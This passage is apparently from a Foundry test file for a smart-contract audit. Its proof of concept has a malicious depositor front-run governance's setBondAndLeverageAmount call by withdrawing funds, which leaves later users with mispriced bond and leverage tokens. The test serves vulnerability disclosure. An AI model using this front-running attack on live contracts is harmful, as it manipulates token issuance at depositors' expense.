                        governance,  
                        contractDeployer,  
                        oracleFeedsContract,  
                        poolBeacon,  
                        bondBeacon,  
                        levBeacon,  
                        distributorBeacon  
                    )  
                )  
            )  
        );  
  
        vm.stopPrank();  
    }  
  
    function testAttackerFrontrunsSetBondAndLeverageAmountCall() public {  
        uint256 maliciousUserAmount = 50 ether;  
        address maliciousUser = makeAddr("malicious user");  
        uint256 regularUserAmount = 1 ether;  
        uint256 numberOfRegularUsers = 50;  
        address[50] memory users;  
        uint256 exampleBondAmount = 1500 ether;  
        uint256 exampleLevAmount = 1500 ether;  
        Pool.TokenType tokenTypeBond = Pool.TokenType.BOND;  
        Pool.TokenType tokenTypeLev = Pool.TokenType.LEVERAGE;  
        address[50] memory users2;  
  
        // creating addresses for users  
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {  
            users[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 999)))));  
            users2[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 9999)))));  
        }  
  
        // malicious user deposits 50 ether  
        vm.startPrank(maliciousUser);  
        reserveToken.mint(maliciousUser, maliciousUserAmount);  
        reserveToken.approve(address(preDeposit), maliciousUserAmount);  
        preDeposit.deposit(maliciousUserAmount);  
        vm.stopPrank();  
  
        // all users deposit 1 ether each  
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {  
            vm.startPrank(users[i]);  
            reserveToken.mint(users[i], regularUserAmount);  
            reserveToken.approve(address(preDeposit), regularUserAmount);  
            preDeposit.deposit(regularUserAmount);  
            vm.stopPrank();  
        }  
  
        vm.warp(block.timestamp + 604784); // 6.999 days pass (almost end of deposit phase)  
  
        vm.startPrank(maliciousUser);  
        preDeposit.withdraw(maliciousUserAmount); // malicious user frontruns `setBondAndLeverageAmount` call to decrease reserve token balance  
        vm.stopPrank();  
  
        vm.startPrank(governance);  
        preDeposit.setBondAndLeverageAmount( // setting both amounts to 1500e18 just before deposit phase ends (governance decides amounts based on reserve token balance)  
        exampleBondAmount, exampleLevAmount);  
  
        // now bond/leverage amounts should be 750e18, since malicious user withdrew 50% of reserve token balance, but amounts get set to 1500e18  
  
        vm.warp(block.timestamp + 16); // deposit phase ends  
  
        // governance trying to set amounts after deposit phase ended results in revert  
        vm.expectRevert();  
        preDeposit.setBondAndLeverageAmount((exampleBondAmount - 750e18), (exampleLevAmount - 750e18));  
  
        // the token amounts are wrong, because they don't match reserve token balance, but pool must be created, because there's no other way to get the user funds out or change the amounts  
  
        poolFactory.grantRole(poolFactory.POOL_ROLE(), address(preDeposit));  
        preDeposit.createPool(); // pool gets created, this contract gets minted too big amount of bond/leverage tokens  
        address pool = preDeposit.pool();  
        poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), address(governance));  
        Pool(pool).unpause();  
        vm.stopPrank();  
  
        address bondToken = address(Pool(preDeposit.pool()).bondToken());  
        address levToken = address(Pool(preDeposit.pool()).lToken());  
  
        // all users claim their tokens  
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {  
            vm.startPrank(users[i]);  
            preDeposit.claim();  
            vm.stopPrank();  
            console.log("user balance of bond token after claim:", BondToken(bondToken).balanceOf(users[i])); // 30000000000000000000 = 30e18  
            console.log("user balance of lev token after claim:", LeverageToken(levToken).balanceOf(users[i])); // 30000000000000000000 = 30e18  
        }  
  
        // new users use same amount of reserve tokens as previous users in `PreDeposit` to create bond/lev tokens  
        // they all receive very odd amounts that don't match the amounts of users who deposited in `PreDeposit`  
  
        // p.s. if you scroll up and change `exampleBondAmount` and `exampleLevAmount` to 750e18 and run this test again, you will see that the users below get same amounts as previous users and everything is normal  
  
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {  
            vm.startPrank(users2[i]);  
            reserveToken.mint(users2[i], regularUserAmount);  
            reserveToken.approve(pool, regularUserAmount);  
            Pool(pool).create(tokenTypeBond, 0.5 ether, 0);  
            Pool(pool).create(tokenTypeLev, 0.5 ether, 0);  
            vm.stopPrank();  
            console.log("user2 balance of bond token after create:", BondToken(bondToken).balanceOf(users2[i]));  
            console.log("user2 balance of lev token after create:", LeverageToken(levToken).balanceOf(users2[i]));  
        }  
    }  
}